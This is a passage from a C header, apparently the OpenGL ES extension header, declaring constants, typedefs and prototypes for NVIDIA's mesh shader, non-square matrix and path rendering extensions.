GL_MESH_OUTPUT_TYPE_NV 0x957B #define GL_UNIFORM_BLOCK_REFERENCED_BY_MESH_SHADER_NV 0x959C #define GL_UNIFORM_BLOCK_REFERENCED_BY_TASK_SHADER_NV 0x959D #define GL_REFERENCED_BY_MESH_SHADER_NV 0x95A0 #define GL_REFERENCED_BY_TASK_SHADER_NV 0x95A1 #define GL_MESH_SHADER_BIT_NV 0x00000040 #define GL_TASK_SHADER_BIT_NV 0x00000080 #define GL_MESH_SUBROUTINE_NV 0x957C #define GL_TASK_SUBROUTINE_NV 0x957D #define GL_MESH_SUBROUTINE_UNIFORM_NV 0x957E #define GL_TASK_SUBROUTINE_UNIFORM_NV 0x957F #define GL_ATOMIC_COUNTER_BUFFER_REFERENCED_BY_MESH_SHADER_NV 0x959E #define GL_ATOMIC_COUNTER_BUFFER_REFERENCED_BY_TASK_SHADER_NV 0x959F typedef void (GL_APIENTRYP PFNGLDRAWMESHTASKSNVPROC) (GLuint first, GLuint count); typedef void (GL_APIENTRYP PFNGLDRAWMESHTASKSINDIRECTNVPROC) (GLintptr indirect); typedef void (GL_APIENTRYP PFNGLMULTIDRAWMESHTASKSINDIRECTNVPROC) (GLintptr indirect, GLsizei drawcount, GLsizei stride); typedef void (GL_APIENTRYP PFNGLMULTIDRAWMESHTASKSINDIRECTCOUNTNVPROC) (GLintptr indirect, GLintptr drawcount, GLsizei maxdrawcount, GLsizei stride); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glDrawMeshTasksNV (GLuint first, GLuint count); GL_APICALL void GL_APIENTRY glDrawMeshTasksIndirectNV (GLintptr indirect); GL_APICALL void GL_APIENTRY glMultiDrawMeshTasksIndirectNV (GLintptr indirect, GLsizei drawcount, GLsizei stride); GL_APICALL void GL_APIENTRY glMultiDrawMeshTasksIndirectCountNV (GLintptr indirect, GLintptr drawcount, GLsizei maxdrawcount, GLsizei stride); #endif #endif /* GL_NV_mesh_shader */ #ifndef GL_NV_non_square_matrices #define GL_NV_non_square_matrices 1 #define GL_FLOAT_MAT2x3_NV 0x8B65 #define GL_FLOAT_MAT2x4_NV 0x8B66 #define GL_FLOAT_MAT3x2_NV 0x8B67 #define GL_FLOAT_MAT3x4_NV 0x8B68 #define GL_FLOAT_MAT4x2_NV 0x8B69 #define GL_FLOAT_MAT4x3_NV 0x8B6A typedef void (GL_APIENTRYP PFNGLUNIFORMMATRIX2X3FVNVPROC) (GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLUNIFORMMATRIX3X2FVNVPROC) (GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLUNIFORMMATRIX2X4FVNVPROC) (GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLUNIFORMMATRIX4X2FVNVPROC) (GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLUNIFORMMATRIX3X4FVNVPROC) (GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLUNIFORMMATRIX4X3FVNVPROC) (GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glUniformMatrix2x3fvNV (GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); GL_APICALL void GL_APIENTRY glUniformMatrix3x2fvNV (GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); GL_APICALL void GL_APIENTRY glUniformMatrix2x4fvNV (GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); GL_APICALL void GL_APIENTRY glUniformMatrix4x2fvNV (GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); GL_APICALL void GL_APIENTRY glUniformMatrix3x4fvNV (GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); GL_APICALL void GL_APIENTRY glUniformMatrix4x3fvNV (GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); #endif #endif /* GL_NV_non_square_matrices */ #ifndef GL_NV_path_rendering #define GL_NV_path_rendering 1 typedef double GLdouble; #define GL_PATH_FORMAT_SVG_NV 0x9070 #define GL_PATH_FORMAT_PS_NV 0x9071 #define GL_STANDARD_FONT_NAME_NV 0x9072 #define GL_SYSTEM_FONT_NAME_NV 0x9073 #define GL_FILE_NAME_NV 0x9074 #define GL_PATH_STROKE_WIDTH_NV 0x9075 #define GL_PATH_END_CAPS_NV 0x9076 #define GL_PATH_INITIAL_END_CAP_NV 0x9077 #define GL_PATH_TERMINAL_END_CAP_NV 0x9078 #define GL_PATH_JOIN_STYLE_NV 0x9079 #define GL_PATH_MITER_LIMIT_NV 0x907A #define GL_PATH_DASH_CAPS_NV 0x907B #define GL_PATH_INITIAL_DASH_CAP_NV 0x907C #define GL_PATH_TERMINAL_DASH_CAP_NV 0x907D #define GL_PATH_DASH_OFFSET_NV 0x907E #define GL_PATH_CLIENT_LENGTH_NV 0x907F #define GL_PATH_FILL_MODE_NV 0x9080 #define GL_PATH_FILL_MASK_NV 0x9081 #define GL_PATH_FILL_COVER_MODE_NV 0x9082 #define GL_PATH_STROKE_COVER_MODE_NV 0x9083 #define GL_PATH_STROKE_MASK_NV 0x9084 #define GL_COUNT_UP_NV 0x9088 #define GL_COUNT_DOWN_NV 0x9089 #define GL_PATH_OBJECT_BOUNDING_BOX_NV 0x908A #define GL_CONVEX_HULL_NV 0x908B #define GL_BOUNDING_BOX_NV 0x908D #define GL_TRANSLATE_X_NV 0x908E #define GL_TRANSLATE_Y_NV 0x908F #define GL_TRANSLATE_2D_NV 0x9090 #define GL_TRANSLATE_3D_NV 0x9091 #define GL_AFFINE_2D_NV 0x9092 #define GL_AFFINE_3D_NV 0x9094 #define GL_TRANSPOSE_AFFINE_2D_NV 0x9096 #define GL_TRANSPOSE_AFFINE_3D_NV 0x9098 #define GL_UTF8_NV 0x909A #define GL_UTF16_NV 0x909B #define GL_BOUNDING_BOX_OF_BOUNDING_BOXES_NV 0x909C #define GL_PATH_COMMAND_COUNT_NV 0x909D #define GL_PATH_COORD_COUNT_NV 0x909E #define GL_PATH_DASH_ARRAY_COUNT_NV 0x909F #define GL_PATH_COMPUTED_LENGTH_NV 0x90A0 #define GL_PATH_FILL_BOUNDING_BOX_NV 0x90A1 #define GL_PATH_STROKE_BOUNDING_BOX_NV 0x90A2 #define GL_SQUARE_NV 0x90A3 #define GL_ROUND_NV 0x90A4 #define GL_TRIANGULAR_NV 0x90A5 #define GL_BEVEL_NV 0x90A6 #define GL_MITER_REVERT_NV 0x90A7 #define GL_MITER_TRUNCATE_NV 0x90A8 #define GL_SKIP_MISSING_GLYPH_NV 0x90A9 #define GL_USE_MISSING_GLYPH_NV 0x90AA #define GL_PATH_ERROR_POSITION_NV 0x90AB #define GL_ACCUM_ADJACENT_PAIRS_NV 0x90AD #define GL_ADJACENT_PAIRS_NV 0x90AE #define GL_FIRST_TO_REST_NV 0x90AF #define GL_PATH_GEN_MODE_NV 0x90B0 #define GL_PATH_GEN_COEFF_NV 0x90B1 #define GL_PATH_GEN_COMPONENTS_NV 0x90B3 #define GL_PATH_STENCIL_FUNC_NV 0x90B7 #define GL_PATH_STENCIL_REF_NV 0x90B8 #define GL_PATH_STENCIL_VALUE_MASK_NV 0x90B9 #define GL_PATH_STENCIL_DEPTH_OFFSET_FACTOR_NV 0x90BD #define GL_PATH_STENCIL_DEPTH_OFFSET_UNITS_NV 0x90BE #define GL_PATH_COVER_DEPTH_FUNC_NV 0x90BF #define GL_PATH_DASH_OFFSET_RESET_NV 0x90B4 #define GL_MOVE_TO_RESETS_NV 0x90B5 #define GL_MOVE_TO_CONTINUES_NV 0x90B6 #define GL_CLOSE_PATH_NV 0x00 #define GL_MOVE_TO_NV 0x02 #define GL_RELATIVE_MOVE_TO_NV 0x03 #define GL_LINE_TO_NV 0x04 #define GL_RELATIVE_LINE_TO_NV 0x05 #define GL_HORIZONTAL_LINE_TO_NV 0x06 #define GL_RELATIVE_HORIZONTAL_LINE_TO_NV 0x07 #define GL_VERTICAL_LINE_TO_NV 0x08 #define GL_RELATIVE_VERTICAL_LINE_TO_NV 0x09 #define GL_QUADRATIC_CURVE_TO_NV 0x0A #define GL_RELATIVE_QUADRATIC_CURVE_TO_NV 0x0B #define GL_CUBIC_CURVE_TO_NV 0x0C #define GL_RELATIVE_CUBIC_CURVE_TO_NV 0x0D #define GL_SMOOTH_QUADRATIC_CURVE_TO_NV 0x0E #define GL_RELATIVE_SMOOTH_QUADRATIC_CURVE_TO_NV 0x0F #define GL_SMOOTH_CUBIC_CURVE_TO_NV 0x10 #define GL_RELATIVE_SMOOTH_CUBIC_CURVE_TO_NV 0x11 #define GL_SMALL_CCW_ARC_TO_NV 0x12 #define GL_RELATIVE_SMALL_CCW_ARC_TO_NV 0x13 #define GL_SMALL_CW_ARC_TO_NV 0x14 #define GL_RELATIVE_SMALL_CW_ARC_TO_NV 0x15 #define GL_LARGE_CCW_ARC_TO_NV 0x16 #define GL_RELATIVE_LARGE_CCW_ARC_TO_NV 0x17 #define GL_LARGE_CW_ARC_TO_NV 0x18 #define GL_RELATIVE_LARGE_CW_ARC_TO_NV 0x19 #define GL_RESTART_PATH_NV 0xF0 #define GL_DUP_FIRST_CUBIC_CURVE_TO_NV 0xF2 #define GL_DUP_LAST_CUBIC_CURVE_TO_NV 0xF4 #define GL_RECT_NV 0xF6 #define GL_CIRCULAR_CCW_ARC_TO_NV 0xF8 #define GL_CIRCULAR_CW_ARC_TO_NV 0xFA #define GL_CIRCULAR_TANGENT_ARC_TO_NV 0xFC #define GL_ARC_TO_NV 0xFE #define GL_RELATIVE_ARC_TO_NV 0xFF #define GL_BOLD_BIT_NV 0x01 #define GL_ITALIC_BIT_NV 0x02 #define GL_GLYPH_WIDTH_BIT_NV 0x01 #define GL_GLYPH_HEIGHT_BIT_NV 0x02 #define GL_GLYPH_HORIZONTAL_BEARING_X_BIT_NV 0x04 #define GL_GLYPH_HORIZONTAL_BEARING_Y_BIT_NV 0x08 #define GL_GLYPH_HORIZONTAL_BEARING_ADVANCE_BIT_NV 0x10 #define GL_GLYPH_VERTICAL_BEARING_X_BIT_NV 0x20 #define GL_GLYPH_VERTICAL_BEARING_Y_BIT_NV 0x40 #define GL_GLYPH_VERTICAL_BEARING_ADVANCE_BIT_NV 0x80 #define GL_GLYPH_HAS_KERNING_BIT_NV 0x100 #define GL_FONT_X_MIN_BOUNDS_BIT_NV 0x00010000 #define GL_FONT_Y_MIN_BOUNDS_BIT_NV 0x00020000 #define GL_FONT_X_MAX_BOUNDS_BIT_NV 0x00040000 #define GL_FONT_Y_MAX_BOUNDS_BIT_NV 0x00080000 #define GL_FONT_UNITS_PER_EM_BIT_NV 0x00100000 #define GL_FONT_ASCENDER_BIT_NV 0x00200000 #define GL_FONT_DESCENDER_BIT_NV 0x00400000 #define GL_FONT_HEIGHT_BIT_NV 0x00800000 #define GL_FONT_MAX_ADVANCE_WIDTH_BIT_NV 0x01000000 #define GL_FONT_MAX_ADVANCE_HEIGHT_BIT_NV 0x02000000 #define GL_FONT_UNDERLINE_POSITION_BIT_NV 0x04000000 #define GL_FONT_UNDERLINE_THICKNESS_BIT_NV 0x08000000 #define GL_FONT_HAS_KERNING_BIT_NV 0x10000000 #define GL_ROUNDED_RECT_NV 0xE8 #define GL_RELATIVE_ROUNDED_RECT_NV 0xE9 #define GL_ROUNDED_RECT2_NV 0xEA #define GL_RELATIVE_ROUNDED_RECT2_NV 0xEB #define GL_ROUNDED_RECT4_NV 0xEC #define GL_RELATIVE_ROUNDED_RECT4_NV 0xED #define GL_ROUNDED_RECT8_NV 0xEE #define GL_RELATIVE_ROUNDED_RECT8_NV 0xEF #define GL_RELATIVE_RECT_NV 0xF7 #define GL_FONT_GLYPHS_AVAILABLE_NV 0x9368 #define GL_FONT_TARGET_UNAVAILABLE_NV 0x9369 #define GL_FONT_UNAVAILABLE_NV 0x936A #define GL_FONT_UNINTELLIGIBLE_NV 0x936B #define GL_CONIC_CURVE_TO_NV 0x1A #define GL_RELATIVE_CONIC_CURVE_TO_NV 0x1B #define GL_FONT_NUM_GLYPH_INDICES_BIT_NV 0x20000000 #define GL_STANDARD_FONT_FORMAT_NV 0x936C #define GL_PATH_PROJECTION_NV 0x1701 #define GL_PATH_MODELVIEW_NV 0x1700 #define GL_PATH_MODELVIEW_STACK_DEPTH_NV 0x0BA3 #define GL_PATH_MODELVIEW_MATRIX_NV 0x0BA6 #define GL_PATH_MAX_MODELVIEW_STACK_DEPTH_NV 0x0D36 #define GL_PATH_TRANSPOSE_MODELVIEW_MATRIX_NV 0x84E3 #define GL_PATH_PROJECTION_STACK_DEPTH_NV 0x0BA4 #define GL_PATH_PROJECTION_MATRIX_NV 0x0BA7 #define GL_PATH_MAX_PROJECTION_STACK_DEPTH_NV 0x0D38 #define GL_PATH_TRANSPOSE_PROJECTION_MATRIX_NV 0x84E4 #define GL_FRAGMENT_INPUT_NV 0x936D typedef GLuint (GL_APIENTRYP PFNGLGENPATHSNVPROC) (GLsizei range); typedef void (GL_APIENTRYP PFNGLDELETEPATHSNVPROC) (GLuint path, GLsizei range); typedef GLboolean (GL_APIENTRYP PFNGLISPATHNVPROC) (GLuint path); typedef void (GL_APIENTRYP PFNGLPATHCOMMANDSNVPROC) (GLuint path, GLsizei numCommands, const GLubyte *commands, GLsizei numCoords, GLenum coordType, const void *coords); typedef void (GL_APIENTRYP PFNGLPATHCOORDSNVPROC) (GLuint path, GLsizei numCoords, GLenum coordType, const void *coords); typedef void (GL_APIENTRYP PFNGLPATHSUBCOMMANDSNVPROC) (GLuint path, GLsizei commandStart, GLsizei commandsToDelete, GLsizei numCommands, const GLubyte *commands, GLsizei numCoords, GLenum coordType, const void *coords); typedef void (GL_APIENTRYP PFNGLPATHSUBCOORDSNVPROC) (GLuint path, GLsizei coordStart, GLsizei numCoords, GLenum coordType, const void *coords); typedef void (GL_APIENTRYP PFNGLPATHSTRINGNVPROC) (GLuint path, GLenum format, GLsizei length, const void *pathString); typedef void (GL_APIENTRYP PFNGLPATHGLYPHSNVPROC) (GLuint firstPathName, GLenum fontTarget, const void *fontName, GLbitfield fontStyle, GLsizei numGlyphs, GLenum type, const void *charcodes, GLenum handleMissingGlyphs, GLuint pathParameterTemplate, GLfloat emScale); typedef void (GL_APIENTRYP PFNGLPATHGLYPHRANGENVPROC) (GLuint firstPathName, GLenum fontTarget, const void *fontName, GLbitfield fontStyle, GLuint firstGlyph, GLsizei numGlyphs, GLenum handleMissingGlyphs, GLuint pathParameterTemplate, GLfloat emScale); typedef void (GL_APIENTRYP PFNGLWEIGHTPATHSNVPROC) (GLuint resultPath, GLsizei numPaths, const GLuint *paths, const GLfloat *weights); typedef void (GL_APIENTRYP PFNGLCOPYPATHNVPROC) (GLuint resultPath, GLuint srcPath); typedef void (GL_APIENTRYP PFNGLINTERPOLATEPATHSNVPROC) (GLuint resultPath, GLuint pathA, GLuint pathB, GLfloat weight); typedef void (GL_APIENTRYP PFNGLTRANSFORMPATHNVPROC) (GLuint resultPath, GLuint srcPath, GLenum transformType, const GLfloat *transformValues); typedef void (GL_APIENTRYP PFNGLPATHPARAMETERIVNVPROC) (GLuint path, GLenum pname, const GLint *value); typedef void (GL_APIENTRYP PFNGLPATHPARAMETERINVPROC) (GLuint path, GLenum pname, GLint value); typedef void (GL_APIENTRYP PFNGLPATHPARAMETERFVNVPROC) (GLuint path, GLenum pname, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLPATHPARAMETERFNVPROC) (GLuint path, GLenum pname, GLfloat value); typedef void (GL_APIENTRYP PFNGLPATHDASHARRAYNVPROC) (GLuint path, GLsizei dashCount, const GLfloat *dashArray); typedef void (GL_APIENTRYP PFNGLPATHSTENCILFUNCNVPROC) (GLenum func, GLint ref, GLuint mask); typedef void (GL_APIENTRYP PFNGLPATHSTENCILDEPTHOFFSETNVPROC) (GLfloat factor, GLfloat units); typedef void (GL_APIENTRYP PFNGLSTENCILFILLPATHNVPROC) (GLuint path, GLenum fillMode, GLuint mask); typedef void (GL_APIENTRYP PFNGLSTENCILSTROKEPATHNVPROC) (GLuint path, GLint reference, GLuint mask); typedef void (GL_APIENTRYP PFNGLSTENCILFILLPATHINSTANCEDNVPROC) (GLsizei numPaths, GLenum pathNameType, const void *paths, GLuint pathBase, GLenum fillMode, GLuint mask, GLenum transformType, const GLfloat *transformValues); typedef void (GL_APIENTRYP PFNGLSTENCILSTROKEPATHINSTANCEDNVPROC) (GLsizei numPaths, GLenum pathNameType, const void *paths, GLuint pathBase, GLint reference, GLuint mask, GLenum transformType, const GLfloat *transformValues); typedef void (GL_APIENTRYP PFNGLPATHCOVERDEPTHFUNCNVPROC) (GLenum func); typedef void (GL_APIENTRYP PFNGLCOVERFILLPATHNVPROC) (GLuint path, GLenum coverMode); typedef void (GL_APIENTRYP PFNGLCOVERSTROKEPATHNVPROC) (GLuint path, GLenum coverMode); typedef void (GL_APIENTRYP PFNGLCOVERFILLPATHINSTANCEDNVPROC) (GLsizei numPaths, GLenum pathNameType, const void *paths, GLuint pathBase, GLenum coverMode, GLenum transformType, const GLfloat *transformValues); typedef void (GL_APIENTRYP PFNGLCOVERSTROKEPATHINSTANCEDNVPROC) (GLsizei numPaths, GLenum pathNameType, const void *paths, GLuint pathBase, GLenum coverMode, GLenum transformType, const GLfloat *transformValues); typedef void (GL_APIENTRYP PFNGLGETPATHPARAMETERIVNVPROC) (GLuint path, GLenum pname, GLint *value); typedef void (GL_APIENTRYP PFNGLGETPATHPARAMETERFVNVPROC) (GLuint path, GLenum pname, GLfloat *value); typedef void (GL_APIENTRYP PFNGLGETPATHCOMMANDSNVPROC) (GLuint path, GLubyte *commands); typedef void (GL_APIENTRYP PFNGLGETPATHCOORDSNVPROC) (GLuint path, GLfloat *coords); typedef void (GL_APIENTRYP PFNGLGETPATHDASHARRAYNVPROC) (GLuint path, GLfloat *dashArray); typedef void (GL_APIENTRYP PFNGLGETPATHMETRICSNVPROC) (GLbitfield metricQueryMask, GLsizei numPaths, GLenum pathNameType, const void *paths, GLuint pathBase, GLsizei stride, GLfloat *metrics); typedef void (GL_APIENTRYP PFNGLGETPATHMETRICRANGENVPROC) (GLbitfield metricQueryMask, GLuint firstPathName, GLsizei numPaths, GLsizei stride, GLfloat *metrics); typedef void (GL_APIENTRYP PFNGLGETPATHSPACINGNVPROC) (GLenum pathListMode, GLsizei numPaths, GLenum pathNameType, const void *paths, GLuint pathBase, GLfloat advanceScale, GLfloat kerningScale, GLenum transformType, GLfloat *returnedSpacing); typedef GLboolean (GL_APIENTRYP PFNGLISPOINTINFILLPATHNVPROC) (GLuint path, GLuint mask, GLfloat x, GLfloat y); typedef GLboolean (GL_APIENTRYP PFNGLISPOINTINSTROKEPATHNVPROC) (GLuint path, GLfloat x, GLfloat y); typedef GLfloat (GL_APIENTRYP PFNGLGETPATHLENGTHNVPROC) (GLuint path, GLsizei startSegment, GLsizei numSegments); typedef GLboolean (GL_APIENTRYP PFNGLPOINTALONGPATHNVPROC) (GLuint path, GLsizei startSegment, GLsizei numSegments, GLfloat distance, GLfloat *x, GLfloat *y, GLfloat *tangentX, GLfloat *tangentY); typedef void (GL_APIENTRYP PFNGLMATRIXLOAD3X2FNVPROC) (GLenum matrixMode, const GLfloat *m); typedef void (GL_APIENTRYP PFNGLMATRIXLOAD3X3FNVPROC) (GLenum matrixMode, const GLfloat *m); typedef void (GL_APIENTRYP PFNGLMATRIXLOADTRANSPOSE3X3FNVPROC) (GLenum matrixMode, const GLfloat *m); typedef void (GL_APIENTRYP PFNGLMATRIXMULT3X2FNVPROC) (GLenum matrixMode, const GLfloat *m); typedef void (GL_APIENTRYP PFNGLMATRIXMULT3X3FNVPROC) (GLenum matrixMode, const GLfloat *m); typedef void (GL_APIENTRYP PFNGLMATRIXMULTTRANSPOSE3X3FNVPROC) (GLenum matrixMode, const GLfloat *m); typedef void (GL_APIENTRYP PFNGLSTENCILTHENCOVERFILLPATHNVPROC) (GLuint path, GLenum fillMode, GLuint mask, GLenum coverMode); typedef void (GL_APIENTRYP PFNGLSTENCILTHENCOVERSTROKEPATHNVPROC) (GLuint path, GLint reference, GLuint mask, GLenum coverMode); typedef void (GL_APIENTRYP PFNGLSTENCILTHENCOVERFILLPATHINSTANCEDNVPROC) (GLsizei numPaths, GLenum pathNameType, const void *paths, GLuint pathBase, GLenum fillMode, GLuint mask, GLenum coverMode, GLenum transformType, const GLfloat *transformValues); typedef void (GL_APIENTRYP PFNGLSTENCILTHENCOVERSTROKEPATHINSTANCEDNVPROC) (GLsizei numPaths, GLenum pathNameType, const void *paths, GLuint pathBase, GLint reference, GLuint mask, GLenum coverMode, GLenum transformType, const GLfloat *transformValues); typedef GLenum (GL_APIENTRYP PFNGLPATHGLYPHINDEXRANGENVPROC) (GLenum fontTarget, const void *fontName, GLbitfield fontStyle, GLuint pathParameterTemplate, GLfloat emScale, GLuint baseAndCount[2]); typedef GLenum (GL_APIENTRYP PFNGLPATHGLYPHINDEXARRAYNVPROC) (GLuint firstPathName, GLenum fontTarget, const void *fontName, GLbitfield fontStyle, GLuint firstGlyphIndex, GLsizei numGlyphs, GLuint pathParameterTemplate, GLfloat emScale); typedef GLenum (GL_APIENTRYP PFNGLPATHMEMORYGLYPHINDEXARRAYNVPROC) (GLuint firstPathName, GLenum fontTarget, GLsizeiptr fontSize, const void *fontData, GLsizei faceIndex, GLuint firstGlyphIndex, GLsizei numGlyphs, GLuint pathParameterTemplate, GLfloat emScale); typedef void (GL_APIENTRYP PFNGLPROGRAMPATHFRAGMENTINPUTGENNVPROC) (GLuint program, GLint location, GLenum genMode, GLint components, const GLfloat *coeffs); typedef void (GL_APIENTRYP PFNGLGETPROGRAMRESOURCEFVNVPROC) (GLuint program, GLenum programInterface, GLuint index, GLsizei propCount, const GLenum *props, GLsizei bufSize, GLsizei *length, GLfloat *params); typedef void (GL_APIENTRYP PFNGLMATRIXFRUSTUMEXTPROC) (GLenum mode, GLdouble left, GLdouble right, GLdouble bottom, GLdouble top, GLdouble zNear, GLdouble zFar); typedef void (GL_APIENTRYP PFNGLMATRIXLOADIDENTITYEXTPROC) (GLenum mode); typedef void (GL_APIENTRYP PFNGLMATRIXLOADTRANSPOSEFEXTPROC) (GLenum mode, const GLfloat *m); typedef void (GL_APIENTRYP PFNGLMATRIXLOADTRANSPOSEDEXTPROC) (GLenum mode, const GLdouble *m); typedef void (GL_APIENTRYP PFNGLMATRIXLOADFEXTPROC) (GLenum mode, const GLfloat *m); typedef void (GL_APIENTRYP PFNGLMATRIXLOADDEXTPROC) (GLenum mode, const GLdouble *m); typedef void (GL_APIENTRYP PFNGLMATRIXMULTTRANSPOSEFEXTPROC) (GLenum mode, const GLfloat *m); typedef void (GL_APIENTRYP PFNGLMATRIXMULTTRANSPOSEDEXTPROC) (GLenum mode, const GLdouble *m); typedef void (GL_APIENTRYP PFNGLMATRIXMULTFEXTPROC) (GLenum mode, const GLfloat *m); typedef void (GL_APIENTRYP PFNGLMATRIXMULTDEXTPROC) (GLenum mode, const GLdouble *m); typedef void (GL_APIENTRYP PFNGLMATRIXORTHOEXTPROC) (GLenum mode, GLdouble left, GLdouble right, GLdouble bottom, GLdouble top, GLdouble zNear, GLdouble zFar); typedef void (GL_APIENTRYP PFNGLMATRIXPOPEXTPROC) (GLenum mode); typedef void (GL_APIENTRYP PFNGLMATRIXPUSHEXTPROC) (GLenum mode); typedef void (GL_APIENTRYP PFNGLMATRIXROTATEFEXTPROC) (GLenum mode, GLfloat angle, GLfloat x, GLfloat y, GLfloat z); typedef void (GL_APIENTRYP PFNGLMATRIXROTATEDEXTPROC) (GLenum mode, GLdouble angle, GLdouble x, GLdouble y, GLdouble z); typedef void (GL_APIENTRYP PFNGLMATRIXSCALEFEXTPROC) (GLenum mode, GLfloat x, GLfloat y, GLfloat z); typedef void (GL_APIENTRYP PFNGLMATRIXSCALEDEXTPROC) (GLenum mode, GLdouble x, GLdouble y, GLdouble z); typedef void (GL_APIENTRYP PFNGLMATRIXTRANSLATEFEXTPROC) (GLenum mode, GLfloat x, GLfloat y, GLfloat z); typedef void (GL_APIENTRYP PFNGLMATRIXTRANSLATEDEXTPROC) (GLenum mode, GLdouble x, GLdouble y, GLdouble z); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL GLuint GL_APIENTRY glGenPathsNV (GLsizei range); GL_APICALL void GL_APIENTRY glDeletePathsNV (GLuint path, GLsizei range); GL_APICALL GLboolean GL_APIENTRY glIsPathNV (GLuint path); GL_APICALL void GL_APIENTRY glPathCommandsNV (GLuint path, GLsizei numCommands, const GLubyte *commands, GLsizei numCoords, GLenum coordType, const void *coords); GL_APICALL void GL_APIENTRY glPathCoordsNV (GLuint path, GLsizei numCoords, GLenum coordType, const void *coords); GL_APICALL void GL_APIENTRY glPathSubCommandsNV (GLuint path, GLsizei commandStart, GLsizei commandsToDelete, GLsizei numCommands, const GLubyte *commands, GLsizei numCoords, GLenum coordType, const void *coords); GL_APICALL void GL_APIENTRY glPathSubCoordsNV (GLuint path, GLsizei coordStart, GLsizei numCoords, GLenum coordType, const void *coords); GL_APICALL void GL_APIENTRY glPathStringNV (GLuint path, GLenum format, GLsizei length, const void *pathString); GL_APICALL void GL_APIENTRY glPathGlyphsNV (GLuint firstPathName, GLenum fontTarget, const void *fontName, GLbitfield fontStyle, GLsizei numGlyphs, GLenum type, const void *charcodes, GLenum handleMissingGlyphs, GLuint pathParameterTemplate, GLfloat emScale); GL_APICALL void GL_APIENTRY glPathGlyphRangeNV (GLuint firstPathName, GLenum fontTarget, const void *fontName, GLbitfield fontStyle, GLuint firstGlyph, GLsizei numGlyphs, GLenum handleMissingGlyphs, GLuint pathParameterTemplate, GLfloat emScale); GL_APICALL void GL_APIENTRY glWeightPathsNV (GLuint resultPath, GLsizei numPaths, const GLuint *paths, const GLfloat *weights); GL_APICALL void GL_APIENTRY glCopyPathNV (GLuint resultPath, GLuint srcPath); GL_APICALL void GL_APIENTRY glInterpolatePathsNV (GLuint resultPath, GLuint pathA, GLuint pathB, GLfloat weight); GL_APICALL void GL_APIENTRY glTransformPathNV (GLuint resultPath, GLuint srcPath, GLenum transformType, const GLfloat *transformValues); GL_APICALL void GL_APIENTRY glPathParameterivNV (GLuint path, GLenum pname, const GLint *value); GL_APICALL void GL_APIENTRY glPathParameteriNV (GLuint path, GLenum pname, GLint value); GL_APICALL void GL_APIENTRY glPathParameterfvNV (GLuint path, GLenum pname, const GLfloat *value); GL_APICALL void GL_APIENTRY glPathParameterfNV (GLuint path, GLenum pname, GLfloat value); GL_APICALL void GL_APIENTRY glPathDashArrayNV (GLuint path, GLsizei dashCount, const GLfloat *dashArray); GL_APICALL void GL_APIENTRY glPathStencilFuncNV (GLenum func, GLint ref, GLuint mask); GL_APICALL void GL_APIENTRY glPathStencilDepthOffsetNV (GLfloat factor, GLfloat units); GL_APICALL void GL_APIENTRY glStencilFillPathNV (GLuint path, GLenum fillMode, GLuint mask); GL_APICALL void GL_APIENTRY glStencilStrokePathNV (GLuint path, GLint reference, GLuint mask); GL_APICALL void GL_APIENTRY glStencilFillPathInstancedNV (GLsizei numPaths, GLenum pathNameType, const void *paths, GLuint pathBase, GLenum fillMode, GLuint mask, GLenum transformType, const GLfloat *transformValues); GL_APICALL void GL_APIENTRY glStencilStrokePathInstancedNV (GLsizei numPaths, GLenum pathNameType, const void *paths, GLuint pathBase, GLint reference, GLuint mask, GLenum transformType, const GLfloat *transformValues); GL_APICALL void GL_APIENTRY glPathCoverDepthFuncNV (GLenum func); GL_APICALL void GL_APIENTRY glCoverFillPathNV (GLuint path, GLenum coverMode); GL_APICALL void GL_APIENTRY glCoverStrokePathNV (GLuint path, GLenum coverMode); GL_APICALL void GL_APIENTRY glCoverFillPathInstancedNV (GLsizei numPaths, GLenum pathNameType, const void *paths, GLuint pathBase, GLenum coverMode, GLenum transformType, const GLfloat *transformValues); GL_APICALL void GL_APIENTRY glCoverStrokePathInstancedNV (GLsizei numPaths, GLenum pathNameType, const void *paths, GLuint pathBase, GLenum coverMode, GLenum transformType, const GLfloat *transformValues); GL_APICALL void GL_APIENTRY glGetPathParameterivNV (GLuint path, GLenum pname, GLint *value); GL_APICALL void GL_APIENTRY glGetPathParameterfvNV (GLuint path, GLenum pname, GLfloat *value); GL_APICALL void GL_APIENTRY glGetPathCommandsNV (GLuint path, GLubyte *commands); GL_APICALL void GL_APIENTRY glGetPathCoordsNV (GLuint path, GLfloat *coords); GL_APICALL void GL_APIENTRY glGetPathDashArrayNV (GLuint path, GLfloat *dashArray); GL_APICALL void GL_APIENTRY glGetPathMetricsNV (GLbitfield metricQueryMask, GLsizei numPaths, GLenum pathNameType, const void *paths, GLuint pathBase, GLsizei stride, GLfloat *metrics); GL_APICALL void GL_APIENTRY glGetPathMetricRangeNV (GLbitfield metricQueryMask, GLuint firstPathName, GLsizei numPaths, GLsizei stride, GLfloat *metrics); GL_APICALL void GL_APIENTRY glGetPathSpacingNV (GLenum pathListMode, GLsizei numPaths, GLenum pathNameType, const void *paths, GLuint pathBase, GLfloat advanceScale, GLfloat kerningScale, GLenum transformType, GLfloat *returnedSpacing); GL_APICALL GLboolean GL_APIENTRY glIsPointInFillPathNV (GLuint path, GLuint mask, GLfloat x, GLfloat y); GL_APICALL GLboolean GL_APIENTRY glIsPointInStrokePathNV (GLuint path, GLfloat x, GLfloat y); GL_APICALL GLfloat GL_APIENTRY glGetPathLengthNV (GLuint path, GLsizei startSegment, GLsizei numSegments); GL_APICALL GLboolean GL_APIENTRY glPointAlongPathNV (GLuint path, GLsizei startSegment, GLsizei numSegments, GLfloat distance, 